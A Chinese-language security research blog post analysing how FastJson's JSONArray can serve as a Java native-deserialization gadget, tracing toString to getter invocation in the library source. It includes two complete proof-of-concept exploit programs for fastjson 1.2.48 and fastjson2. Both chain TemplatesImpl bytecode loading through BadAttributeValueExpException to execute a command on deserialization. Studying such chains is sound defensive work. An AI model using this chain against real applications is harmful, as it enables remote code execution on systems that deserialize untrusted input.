FastJson与原生反序列化

Y4tacker

2023-03-20 (Updated: 2023-05-04)

FastJson与原生反序列化

前言

这其实是我很早前遇到的一个秋招面试题，问题大概是如果你遇到一个较高版本的FastJson有什么办法能绕过AutoType么？我一开始回答的是找黑名单外的类，后面面试官说想考察的是FastJson在原生反序列化当中的利用。因为比较有趣加上最近在网上也看到类似的东西，今天也就顺便在肝毕设之余来谈谈这个问题。

利用与限制

Fastjson1版本小于等于1.2.48

Fastjson2目前通杀(目前最新版本2.0.26)

寻找

既然是与原生反序列化相关，那我们去fastjson包里去看看哪些类继承了Serializable接口即可，最后找完只有两个类，JSONArray与JSONObject，这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)

首先我们可以在IDEA中可以看到，虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载，并且继承的JSON类同样没有readObject方法，那么只有一个思路了，通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链

在Json类当中的toString方法能触发toJsonString的调用，而这个东西其实我们并不陌生，在我们想用JSON.parse()触发get方法时，其中一个处理方法就是用JSONObject嵌套我们的payload

那么思路就很明确了，触发toString->toJSONString->get方法，

如何触发getter方法

这里多提一句为什么能触发get方法调用

因为是toString所以肯定会涉及到对象中的属性提取，fastjson在做这部分实现时，是通过ObjectSerializer类的write方法去做的提取

这部分流程是先判断serializers这个HashMap当中有无默认映射

我们可以来看看有哪些默认的映射关系

private void initSerializers() {
        this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);
        this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);
        this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);
        this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);
        this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);
        this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);
        this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);
        this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);
        this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);
        this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);
        this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);
        this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));
        this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);
        this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);
        this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);
        this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);
        this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);
        this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);
    }

这里面基本上没有我们需要的东西，唯一熟悉的就是MiscCodec(提示下我们fastjson加载任意class时就是通过调用这个的TypeUtils.loadClass)，但可惜的是他的write方法同样没有什么可利用的点，再往下去除一些不关键的调用栈，接下来默认会通过createJavaBeanSerializer来创建一个ObjectSerializer对象

它会提取类当中的BeanInfo（包括有getter方法的属性）并传入createJavaBeanSerializer继续处理

public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {
    SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, (Map)null, this.propertyNamingStrategy, this.fieldBased);
    return (ObjectSerializer)(beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this.createJavaBeanSerializer(beanInfo));
}

这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理，而这个方法其实就是通过ASM动态创建一个类(因为和Java自带的ASM框架长的很“相似”所以阅读这部分代码并不复杂)

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中

它会根据字段的类型调用不同的方法处理，这里我们随便看一个(以第一个_long为例)

通过_get方法生成读取filed的方法

这里的fieldInfo其实就是我们一开始的有get方法的field的集合

private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {
        Method method = fieldInfo.method;
        if (method != null) {
            mw.visitVarInsn(25, context.var("entity"));
            Class<?> declaringClass = method.getDeclaringClass();
            mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method));
            if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
            }
        } else {
            mw.visitVarInsn(25, context.var("entity"));
            Field field = fieldInfo.field;
            mw.visitFieldInsn(180, ASMUtils.type(fieldInfo.declaringClass), field.getName(), ASMUtils.desc(field.getType()));
            if (!field.getType().equals(fieldInfo.fieldClass)) {
                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));
            }
        }

    }

因此能最终调用方法的get方法

这里做个验证，这里我们创建一个User类,其中只有username字段有get方法

public class User {
    public String username;
    public String password;

    public String getUsername() {
        return username;
    }
}

在asm最终生成code的bytes数据写入文件

可以看到在write方法当中password因为没有get方法所以没有调用getPassword，而username有所以调用了

组合利用链

既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用

而触发toString方法我们也有现成的链，通过BadAttributeValueExpException触发即可

因此我们很容易写出利用链子

fastjson1

Maven依赖

<dependency>
			<groupId>org.javassist</groupId>
			<artifactId>javassist</artifactId>
			<version>3.19.0-GA</version>
</dependency>
 <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.48</version>
</dependency>

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

fastjson2

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

import com.alibaba.fastjson2.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;


public class Test {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"open -na Calculator\");");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", bytes);
        setValue(templates, "_name", "y4tacker");
        setValue(templates, "_tfactory", null);


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, jsonArray);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(val);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

为什么fastjson1的1.2.49以后不再能利用

从1.2.49开始，我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

如何突破呢？请看下篇文章FastJson与原生反序列化(二)